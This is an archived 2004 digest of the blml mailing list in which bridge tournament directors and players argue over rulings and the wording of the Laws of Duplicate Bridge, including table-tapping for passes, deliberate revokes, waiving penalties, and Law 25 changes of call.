please clarify - "are you alerting something?" Too damn many times I've seen this at the table: 1NT on my right, pass, 3NT on my left, pass, tap, the opponents (and often my partner, lemming-like) pick up their bidding cards. I have been saying at this point "excuse me, the auction is not over" and waiting until all cards are back on the table (including RHO's final pass) before calling. Maybe I should be calling the TD. NB: in this example, I was almost certainly going to pass, but there have been some auctions in which I was contemplating some other action. As for it not being a bridge custom, around here we normally play 24 boards a session. I doubt there are more than 3 or 4 boards a session in which someone has *not* tapped the table at some point. But it's an illegal custom, and I'd like to see it stamped out. Not that I have a chance in hell of seeing it happen. :( _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Mar 16 11:36:35 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Tue, 16 Mar 2004 22:36:35 +1100 Subject: [blml] Re: (blml) Should you point out infractions In-Reply-To: Message-ID: <004b01c40b4a$f6a15470$6056dccb@noeltsui0kso1i> Surely the TD also might not apply the penalty if they were trying to overbid the player for the young ladies affections? [I'll shut up now...] regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of David Stevenson Sent: Monday, March 15, 2004 12:56 PM To: blml@rtflb.org Subject: Re: [blml] Re: (blml) Should you point out infractions Ed Reppert wrote > >On Friday, Mar 12, 2004, at 05:42 US/Eastern, Tim West-Meads wrote: > >> L81c. Waiver of Penalties >> to waive penalties for cause, at his discretion, upon the request of >>the >> non-offending side. >> >> The problem, from my PoV is that the law contains the words "for >>cause" as >> well as "upon the request" - imply that *both* a cause and a request >>are >> necessary. I would prefer the words "for cause" to be deleted. > >The inference I draw here is that there are penalties "for cause" and >penalties "not for cause". What penalties fall into the latter category? The generally accepted interpretation is that it is the waiving that is for cause. If a player dropped a couple of cards on the table face up a player might ask the TD that there should be no penalty if [a] the player was very old and infirm, or [b] a waiter had jogged his elbow, or [c] the player was a young attractive female that he was trying to entice into something or other after the game. The TD would accept the causes in [a] and [b] and apply no penalty, but not accept the cause in [c], so he would apply the penalty. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From ehaa@starpower.net Tue Mar 16 13:55:53 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 16 Mar 2004 08:55:53 -0500 Subject: [blml] Standard In-Reply-To: <710A1F84-7702-11D8-B313-0030656F6826@rochester.rr.com> References: <5.2.0.9.0.20040315081028.0261c2a0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040316082719.022ff890@pop.starpower.net> At 11:28 PM 3/15/04, Ed wrote: >On Monday, Mar 15, 2004, at 08:26 US/Eastern, Eric Landau wrote: > >> It does not, however, provide as much information as a bid-by-bid >> explanation does -- there may be inferences from an opponent's call >> which are only available if you know what he knew about partner's >> hand at the time he made it, as opposed to what he knew at the end >> of the auction. > >Such inferences are disclosable, are they not? If they are left out, >then that is MI. I am thinking about inferences that might be lost in a "he holds..." reply rather than a bid-by-bid explanation. Example: I am told at the end of the auction that North holds six trumps, South two. I would like to know whether, when South showed support, he already knew about the sixth trump in North, or whether North might still have held only five at that point. If the latter, I might infer that South's own suit wasn't strong enough to bid again, or that he might have chosen not to bid NT for lack of an off-suit stopper. I can (a) request a bid-by-bid explanation, (b) ask South directly, or (c) make an assumption, and then, if I'm wrong (and it matters), claim not to have been fully informed and ask for redress. (a) is clearly proper. (b) is acceptable to me, but of questionable legality. (c) may be legal, but I will choose (a) or (b) in preference to it every time. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From blml@blakjak.com Tue Mar 16 13:52:32 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 16 Mar 2004 13:52:32 +0000 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <00a101c40b44$318e5670$7c2e37d2@Desktop> References: <+BlwcSKK4QVAFwUM@blakjak.demon.co.uk> <00a101c40b44$318e5670$7c2e37d2@Desktop> Message-ID: Wayne Burrows wrote > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On >> Behalf Of David Stevenson >> Sent: Monday, 15 March 2004 3:00 p.m. >> To: blml@rtflb.org >> Subject: Re: [blml] ethics or Ethics (was Should ... infractions) > >> Perhaps Law 1 in the new Law book should say "Where everyone knows >> what we mean then we mean that even if sea lawyers can prove >> the wording >> says otherwise." > >Perhaps if someone you call a sea lawyer is arguing differently then >not everyone knows what we mean. > >It would be much simpler if the laws said what they meant. Sure it would. It also would be nice to eliminate AIDs and cancer form the planet. teach people never to be rude, and lobotomise terrorists. But it is not going to happen - any of the above - because each one is a practical impossibility. So why worry about what we are not going to get? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 16 13:55:41 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 16 Mar 2004 13:55:41 +0000 Subject: [blml] Standard In-Reply-To: <9274D031-7700-11D8-B313-0030656F6826@rochester.rr.com> References: <9274D031-7700-11D8-B313-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Sunday, Mar 14, 2004, at 21:01 US/Eastern, David Stevenson wrote: > >> Time. If we accept your interpretation of L20 - as you know, I don't >>- then following the Laws means that bridge games never finish. > >Never? Hyperbole. > >I do not think that we - whether "we" is players or TDs or the WBFLC - >can pick and choose which laws to follow and which not, and which to >follow "part way" or "some of the time" just because we feel it would >be "too hard" to follow them. > >If the law is wrong, change the law, don't ignore it. All that does is >promote contempt for *all* the laws. No, no way. If I think a Law is a mistake - whether in bridge or anything else - that does not alter my respect for the remainder of the laws. Furthermore, there are also interpretations of the Laws. I merely believe your interpretation is wrong. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From johnson@CCRS.NRCan.gc.ca Tue Mar 16 14:31:09 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 16 Mar 2004 09:31:09 -0500 (EST) Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <011901c40b42$25a16de0$329868d5@tinyhrieuyik> from "Nigel Guthrie" at Mar 16, 2004 10:33:37 AM Message-ID: <200403161431.i2GEV9gT023681@athena.ccrs.nrcan.gc.ca> Nigel Guthrie writes: > > [David Stevenson] > > Perhaps Law 1 in the new Law book should say "Where everyone > knows > > what we mean then we mean that even if sea lawyers can prove the > > wording says otherwise." > > [Nigel] > > Obviously TDs have amazing talents in clairvoyance and telepathy. > Most naive players rely simply on the words of the law-book. > > Only a few of us seek guidance in fora like this and we are most > grateful when eminent officials do stoop to answer even a few of > the basic questions that we raise. > > But we would prefer an overhaul of the law book to be more > complete and better reflect what its authors intend. Nigel (and others) Constructive criticism works better here. Rather than carp about the language, send along wording that you feel both captures the intent of the laws and is unambiguous. It's a lot harder than it looks to write laws in a way that a creative mind *can't* see in a different light than was intended. And I think this is a good forum for hashing out problematic language. One of the really smart things that the NHL used to do was send drafts of proposed rules changes to the most creative of the "sea lawyers" in the game. If Roger Neilson could find a way to subvert the intent, the rule was almost certainly properly crafted. Lord knows we've got plenty of creative minds here. From hans-olof.hallen@swipnet.se Tue Mar 16 15:36:51 2004 From: hans-olof.hallen@swipnet.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Tue, 16 Mar 2004 16:36:51 +0100 Subject: [blml] Revokes Message-ID: <002301c40b6c$81de0080$784865d5@swipnet.se> To Jaap and Konrad. Read law 72 B 2. If you break the law by purpose you might be expelled from the bridge = community. Yours Hans-Olof From johnson@CCRS.NRCan.gc.ca Tue Mar 16 15:09:49 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 16 Mar 2004 10:09:49 -0500 (EST) Subject: [blml] Standard Message-ID: <200403161509.i2GF9now023964@athena.ccrs.nrcan.gc.ca> Ed Reppert writes: > > > On Sunday, Mar 14, 2004, at 21:09 US/Eastern, David Stevenson wrote: > > > You clearly have not tried asking bridge players for explanations. > > I guess the people against whom I play bridge are not bridge players > then. Some of them, at least, will be surprised to hear that. > > Tobias Stone had a ranking system which went something like Bridge Player, Can follow suit, Can usually follow suit, can't follow suit. As I understand it, there were less than a dozen Bridge Players. Not all that many in the Can Follow Suit class. From nigel.guthrie@ntlworld.com Tue Mar 16 15:52:09 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 16 Mar 2004 15:52:09 -0000 Subject: [blml] ethics or Ethics (was Should ... infractions) References: <200403161431.i2GEV9gT023681@athena.ccrs.nrcan.gc.ca> Message-ID: <009b01c40b6e$a50fca00$a59468d5@tinyhrieuyik> [Ron Johnston] Nigel (and others) Constructive criticism works better here. Rather than carp about the language, send along wording that you feel both captures the intent of the laws and is unambiguous. It's a lot harder than it looks to write laws in a way that a creative mind *can't* see in a different light than was intended. And I think this is a good forum for hashing out problematic language. One of the really smart things that the NHL used to do was send drafts of proposed rules changes to the most creative of the "sea lawyers" in the game. If Roger Neilson could find a way to subvert the intent, the rule was almost certainly properly crafted. Lord knows we've got plenty of creative minds here. [Nigel] (1) All my suggestions are constructive. (2) For law changes, I usually suggest appropriate words. (3) I have even suggested clarifications to existing laws but those are contingent on agreement by their authors on what meaning they *intend*. (4) If I ask a straight-forward question about existing law many times without reply and I surmise that there is no sensible answer, then I suppose I do become cynical. (5) I have often opined that it is hard to write complete simple objective laws, in a clear consistent way. It is near impossible to achieve coherence when instead you aspire to write incomplete, sophisticated, subjective laws that restore equity. IMO the latter is also pretty pointless unless you want to deter potential players. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From cibor@poczta.fm Tue Mar 16 18:23:10 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Tue, 16 Mar 2004 19:23:10 +0100 Subject: [blml] Revokes References: <002301c40b6c$81de0080$784865d5@swipnet.se> Message-ID: <001401c40b83$cbfa0d00$2a254cd5@kocurzak> ----- Original Message ----- From: "Hans-Olof Hall=E9n" To: Sent: Tuesday, March 16, 2004 4:36 PM Subject: [blml] Revokes >To Jaap and Konrad. >Read law 72 B 2. >If you break the law by purpose you might be expelled from the bridge community. >Yours Hans-Olof Yeah, yeah, sure. If have never seen anyone expelled from the bridge community for revoking on purpose although in one or two cases I could be certain that such a play was made on purpose. To know is one thing, to prove is another. Konrad Ciborowski Krakow, Poland From jaapvanderneut@hotmail.com Tue Mar 16 18:52:15 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 16 Mar 2004 19:52:15 +0100 Subject: [blml] Revokes References: <002301c40b6c$81de0080$784865d5@swipnet.se> <001401c40b83$cbfa0d00$2a254cd5@kocurzak> Message-ID: The strange thing here is that penalties for technical infractions get less and less, while penalties for almost unavoidable 'infractions' get more severe. After a pause sometimes you end up 'penalizing' the pair 10 fat imps or so because whatever the poor partner does 'might be suggested' by the pause. Same for the 'might have know' attached to certain perfectly normal actions. So why are we so gentle with high way robbery (certain actions like the revoking uppercut I described) and so harsh on people actually playing bridge? IMHO something has gone terribly wrong here. Why not enrich the revoke article with a 'might have known' attachment. Because I tend to agree with Konrad. It is silly if this kind of infraction goes unpunished (you are never going to prove he did it on purpose). But probably we have to rethink the whole 'penalty / equity' structure. Jaap ----- Original Message ----- From: "Konrad Ciborowski" To: Sent: Tuesday, March 16, 2004 7:23 PM Subject: Re: [blml] Revokes ----- Original Message ----- From: "Hans-Olof Hallén" To: Sent: Tuesday, March 16, 2004 4:36 PM Subject: [blml] Revokes >To Jaap and Konrad. >Read law 72 B 2. >If you break the law by purpose you might be expelled from the bridge community. >Yours Hans-Olof Yeah, yeah, sure. If have never seen anyone expelled from the bridge community for revoking on purpose although in one or two cases I could be certain that such a play was made on purpose. To know is one thing, to prove is another. Konrad Ciborowski Krakow, Poland _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From john@asimere.com Tue Mar 16 21:20:53 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 16 Mar 2004 21:20:53 +0000 Subject: [blml] Revokes In-Reply-To: References: <002301c40b6c$81de0080$784865d5@swipnet.se> <001401c40b83$cbfa0d00$2a254cd5@kocurzak> Message-ID: In article , Jaap van der Neut writes >The strange thing here is that penalties for technical infractions get less >and less, while penalties for almost unavoidable 'infractions' get more >severe. > >After a pause sometimes you end up 'penalizing' the pair 10 fat imps or so >because whatever the poor partner does 'might be suggested' by the pause. >Same for the 'might have know' attached to certain perfectly normal actions. > >So why are we so gentle with high way robbery (certain actions like the >revoking uppercut I described) and so harsh on people actually playing >bridge? IMHO something has gone terribly wrong here. > >Why not enrich the revoke article with a 'might have known' attachment. I have always argued that revokes should be subject to this law. john -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Tue Mar 16 21:55:37 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 16 Mar 2004 16:55:37 -0500 Subject: [blml] Pass out seat action? In-Reply-To: <004a01c40b46$99908ca0$6056dccb@noeltsui0kso1i> Message-ID: On Tuesday, Mar 16, 2004, at 06:05 US/Eastern, Noel and Pamela wrote: > There are often not enough Pass cards in the box, so the Tap at our > club > (when out of Passes) is usually accepted as a Pass. If there aren't enough pass cards, perhaps one should inform the TD that her bidding boxes are deficient, and ask for either more cards or a new box. Yeah, yeah, takes time, delays the game, yada, yada. :-) I suspect most directors would be happy to correct such deficiencies, if they knew about them. From ereppert@rochester.rr.com Tue Mar 16 21:57:52 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 16 Mar 2004 16:57:52 -0500 Subject: [blml] Standard In-Reply-To: <5.2.0.9.0.20040316082719.022ff890@pop.starpower.net> Message-ID: On Tuesday, Mar 16, 2004, at 08:55 US/Eastern, Eric Landau wrote: > (c) may be legal, but I will choose (a) or (b) in preference to it > every time. So would I. Still, it doesn't sit well. From ereppert@rochester.rr.com Tue Mar 16 21:59:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 16 Mar 2004 16:59:24 -0500 Subject: [blml] Standard In-Reply-To: Message-ID: <302EE310-7795-11D8-8502-0030656F6826@rochester.rr.com> On Tuesday, Mar 16, 2004, at 08:55 US/Eastern, David Stevenson wrote: > No, no way. If I think a Law is a mistake - whether in bridge or > anything else - that does not alter my respect for the remainder of > the laws. Okay. That puts you in the minority, though, IMO. From wayne.burrows@xtra.co.nz Tue Mar 16 22:47:01 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 17 Mar 2004 11:47:01 +1300 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: Message-ID: <00f001c40ba8$99447bf0$7c2e37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Wednesday, 17 March 2004 2:53 a.m. > To: blml@rtflb.org > Subject: Re: [blml] ethics or Ethics (was Should ... infractions) > > > Wayne Burrows wrote > > > > > >> -----Original Message----- > >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > >> Behalf Of David Stevenson > >> Sent: Monday, 15 March 2004 3:00 p.m. > >> To: blml@rtflb.org > >> Subject: Re: [blml] ethics or Ethics (was Should ... infractions) > > > >> Perhaps Law 1 in the new Law book should say "Where > everyone knows > >> what we mean then we mean that even if sea lawyers can prove > >> the wording > >> says otherwise." > > > >Perhaps if someone you call a sea lawyer is arguing differently then > >not everyone knows what we mean. > > > >It would be much simpler if the laws said what they meant. > > Sure it would. It also would be nice to eliminate AIDs and cancer > form the planet. teach people never to be rude, and lobotomise > terrorists. > > But it is not going to happen - any of the above - because > each one is > a practical impossibility. So why worry about what we are > not going to > get? And it is not going to happen that 'everyone knows what we mean'. IMO the only practical solution is to rule according to what is written rather than what someone thinks 'everyone knows'. Wayne From richard.hills@immi.gov.au Tue Mar 16 23:53:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 17 Mar 2004 09:53:05 +1000 Subject: [blml] Pass out seat action? Message-ID: Noel wrote: >>There are often not enough Pass cards in the box Ed wrote: >If there aren't enough pass cards, perhaps one >should inform the TD that her bidding boxes are >deficient RJH writes: Noel is a colleague of mine at the Canberra Bridge Club. In my opinion, it is not the bidding boxes which are deficient, it is the Canberra bridge players who are defective. Canberra bridge players have a predilection for super-scientific overlong auctions. Perhaps the Canberra Bridge Club could solve the Pass cards problem with a new Law 40D regulation: "Any bidding system that would cause the opponents to run out of Pass cards is illegal." :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Tue Mar 16 23:10:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 16 Mar 2004 18:10:24 -0500 Subject: [blml] Pass out seat action? In-Reply-To: Message-ID: <1AFBF9FD-779F-11D8-8502-0030656F6826@rochester.rr.com> On Tuesday, Mar 16, 2004, at 18:53 US/Eastern, richard.hills@immi.gov.au wrote: > Perhaps the Canberra Bridge Club could solve the > Pass cards problem with a new Law 40D regulation: > > "Any bidding system that would cause the opponents > to run out of Pass cards is illegal." > > :-) Hehe. What the heck, why not? :-) From gesta@tiscali.co.uk Tue Mar 16 23:18:13 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 16 Mar 2004 23:18:13 -0000 Subject: [blml] Explain References: Message-ID: <002c01c40bad$13107570$b2e0403e@multivisionoem> Grattan Endicott To: Sent: Tuesday, March 16, 2004 3:19 AM Subject: Re: [blml] Explain <><> Richard James Hills notes: The WBF LC has *already* asserted to be so that black is white, when the WBF LC interpreted Law 80F in a way that is directly contradictory to what Law 80F actually says. Even the former Chief Director of the WBF has earlier posted a blml comment disagreeing with the WBF LC's Orwellian twisting of the English language. Indeed, as I recall, even the current Secretary of the WBF LC has earlier posted a blml comment using the phrase "driving a horse and cart through" the Laws, when the Secretary described his personal qualms about the majority decision of the WBF LC to blacken the whiteness of Law 80F. +=+ I do not recall having ever expressed an opinion that the interpretation (that Law 80F does not apply to regulations made with the specific authority of other Laws of equal force in the Law Book) is in error. I first came across this interpretation in the WBFLC under the chairmanship of Ed Theus in the late 1980's. In Geneva 1990 I led the case on behalf of the WBFLC, as its Vice Chairman, in support of a ruling by Wm. Schoder, and I argued it on precisely that basis in the WBF Executive Committee and its R&R Committee sitting jointly. My argument was upheld and adopted. It has been noted subsequently by the WBFLC that the interpretation is mandated by that judgement of a 'superior court'. Since I became aware of the WBFLC's position under Theus I have held the belief that the interpretation construes the language of the laws correctly, and I am thus convinced you are attributing to me erroneously a view that I do not accept. I am satisfied that 80F creates a general conditional power, but that the condition is not attached to the specific and separate powers granted by 40D, 40E, 78D, and 80E. It is not there in any of these instances, although evidently some think this is the result of poor drafting - which I doubt, considering the consistent approach of the WBFLC over some twenty years or more. ~ G ~ +=+ From steve_wright@wrightnet.demon.co.uk Wed Mar 17 00:18:32 2004 From: steve_wright@wrightnet.demon.co.uk (Steve Wright) Date: Wed, 17 Mar 2004 00:18:32 +0000 Subject: [blml] L25A or L25B Message-ID: I'm sure we've discussed this before, but I cannot recall what conclusion we came to... 1S (P) 4D[1] (P) P[2] [1] Alerted and explained as a splinter agreeing spades [2] Pass card placed on the table, followed by "Sorry, I meant to sign off in 4S" Mechanical error [L25A] or Change of mind [L25B]? -- Steve Wright From richard.hills@immi.gov.au Wed Mar 17 01:49:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 17 Mar 2004 11:49:04 +1000 Subject: [blml] Standard Message-ID: Eric Landau: >I am thinking about inferences that might be lost >in a "he holds..." reply rather than a bid-by-bid >explanation. Example: I am told at the end of >the auction that North holds six trumps, South >two. I would like to know whether, when South >showed support, he already knew about the sixth >trump in North, or whether North might still have >held only five at that point. If the latter, I >might infer that South's own suit wasn't strong >enough to bid again, or that he might have chosen >not to bid NT for lack of an off-suit stopper. I >can (a) request a bid-by-bid explanation, (b) ask >South directly, or (c) make an assumption, and >then, if I'm wrong (and it matters), claim not to >have been fully informed and ask for redress. (a) >is clearly proper. (b) is acceptable to me, but >of questionable legality. (c) may be legal, but I >will choose (a) or (b) in preference to it every >time. Richard James Hills: Given that I play the Symmetric Relay system, I always offer the opponents a choice between a step- by-step explanation or an all-at-once explanation. And, of course, I also volunteer to the opponents any negative inferences from the timing of a relay break. Most opponents prefer to save time with all-at-once, but some of my opponents analytically prefer step- by-step. I have noticed a statistically significant overlap between opponents who are analytical during the session, and opponents who complete cryptic crosswords before the session. :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grabiner@alumni.princeton.edu Wed Mar 17 00:41:19 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Tue, 16 Mar 2004 19:41:19 -0500 Subject: [blml] L25A or L25B In-Reply-To: Message-ID: <5.1.1.6.0.20040316193554.01ce7848@mail.vzavenue.net> At 07:18 PM 3/16/2004, Steve Wright wrote: >I'm sure we've discussed this before, but I cannot recall what conclusion >we came to... > >1S (P) 4D[1] (P) >P[2] > >[1] Alerted and explained as a splinter agreeing spades >[2] Pass card placed on the table, followed by "Sorry, I meant to sign off >in 4S" > >Mechanical error [L25A] or Change of mind [L25B]? This is the case for which L25B was intended. The player intended to pull the pass card from the box, and he pulled it; however, he doesn't have to play a ridiculous contract as long as he is satisfied with at most A- for the normal contract. For L25A to apply, the player must have intended to pull the correct card but pulled the incorrect card, which is unlikely here since the calls were not adjacent. The one L25B ruling I have had was a similar auction: 1NT P 2D! P (2D announced as transfer) P, oops! Opener, upon hearing the penalty, decided to let his pass stand and went down in 2D, losing more than the 3 IMPs he would have lost by bidding 2H. From richard.hills@immi.gov.au Wed Mar 17 02:00:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 17 Mar 2004 12:00:41 +1000 Subject: [blml] L25A or L25B Message-ID: Steve Wright: >I'm sure we've discussed this before, but I cannot >recall what conclusion we came to... > >1S (P) 4D[1] (P) >P[2] > >[1] Alerted and explained as a splinter agreeing spades >[2] Pass card placed on the table, followed by "Sorry, >I meant to sign off in 4S" > >Mechanical error [L25A] or Change of mind [L25B]? Richard James Hills: In my opinion, this is a clearcut Change of Mind. The intention was to signoff. Pass was deliberately selected as a signoff. Only then did the mind change after realising that a more astute signoff might be instead a 4S call. Indeed, it was this typical Stupid Mistake/Change of Mind situation which caused Edgar Kaplan to create Law 25B in the first place. Unfortunately, the laudable intentions of Edgar Kaplan were overcompensated by the unintended consequences of Law 25B's legal snags. Fortunately, players have only two years to wait until the WBF LC deletes Law 25B. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Mar 17 02:41:51 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 17 Mar 2004 12:41:51 +1000 Subject: [blml] Explain Message-ID: Richard James Hills noted: [snip] >>The WBF LC has *already* asserted to be so that black is >>white, when the WBF LC interpreted Law 80F in a way that >>is directly contradictory to what Law 80F actually says. [snip] Grattan Endicott replied: [big snip] >Since I became aware of the WBFLC's position under Theus I >have held the belief that the interpretation construes the >language of the laws correctly, [snip] >evidently some think this is the result of poor drafting - >which I doubt, considering the consistent approach of the >WBFLC over some twenty years or more. > ~ G ~ +=3D+ G*****n E******t wrote on Sept 28, 2002: ".....in Montreal I received clear notice, in the presence of the WBF Executive, that the new laws must be in words that do not brook alternative interpretations." G*****n E******t wrote on Oct 28, 2002 "Periodically I used to remark that when no definition is provided in the law book one refers to a standard English dictionary." :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Wed Mar 17 01:59:17 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 17 Mar 2004 01:59:17 +0000 Subject: [blml] Standard In-Reply-To: <302EE310-7795-11D8-8502-0030656F6826@rochester.rr.com> References: <302EE310-7795-11D8-8502-0030656F6826@rochester.rr.com> Message-ID: <9cagrxR1D7VAFwEG@blakjak.demon.co.uk> Ed Reppert wrote > >On Tuesday, Mar 16, 2004, at 08:55 US/Eastern, David Stevenson wrote: > >> No, no way. If I think a Law is a mistake - whether in bridge or >>anything else - that does not alter my respect for the remainder of >>the laws. > >Okay. That puts you in the minority, though, IMO. There is no set of perfect Laws anywhere. Does that mean that the majority of people do not respect their Laws at all? That must be very sad for them. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 17 02:00:37 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 17 Mar 2004 02:00:37 +0000 Subject: [blml] Pass out seat action? In-Reply-To: References: <004a01c40b46$99908ca0$6056dccb@noeltsui0kso1i> Message-ID: Ed Reppert wrote > >On Tuesday, Mar 16, 2004, at 06:05 US/Eastern, Noel and Pamela wrote: > >> There are often not enough Pass cards in the box, so the Tap at our >>club >> (when out of Passes) is usually accepted as a Pass. > >If there aren't enough pass cards, perhaps one should inform the TD >that her bidding boxes are deficient, and ask for either more cards or >a new box. > >Yeah, yeah, takes time, delays the game, yada, yada. :-) I suspect most >directors would be happy to correct such deficiencies, if they knew >about them. What is wrong with taking the pass card form one end and adding it to the other? That's the norm hereabouts when you run out. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 17 02:02:21 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 17 Mar 2004 02:02:21 +0000 Subject: [blml] L25A or L25B In-Reply-To: References: Message-ID: Steve Wright wrote >I'm sure we've discussed this before, but I cannot recall what >conclusion we came to... > >1S (P) 4D[1] (P) >P[2] > >[1] Alerted and explained as a splinter agreeing spades >[2] Pass card placed on the table, followed by "Sorry, I meant to sign >off in 4S" > >Mechanical error [L25A] or Change of mind [L25B]? Change of mind: at the moment the player reached for the box he intended to pass. This auction was the one quoted as being the raison d'etre for L25B. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Wed Mar 17 02:53:51 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 16 Mar 2004 21:53:51 -0500 Subject: [blml] Pass out seat action? Message-ID: <769B751B-77BE-11D8-8502-0030656F6826@rochester.rr.com> Oops. Sorry, David. :) On Tuesday, Mar 16, 2004, at 21:00 US/Eastern, David Stevenson wrote: > What is wrong with taking the pass card form one end and adding it > to the other? That's the norm hereabouts when you run out. Or borrowing one temporarily from someone else, even. :-) From gesta@tiscali.co.uk Wed Mar 17 03:39:20 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 17 Mar 2004 03:39:20 -0000 Subject: [blml] Explain References: Message-ID: <000201c40bd1$a69c0650$68a2403e@multivisionoem> Grattan Endicott To: Sent: Wednesday, March 17, 2004 2:41 AM Subject: Re: [blml] Explain Richard James Hills noted: [snip] >>The WBF LC has *already* asserted to be so that black is >>white, when the WBF LC interpreted Law 80F in a way that >>is directly contradictory to what Law 80F actually says. [snip] Grattan Endicott replied: [big snip] >Since I became 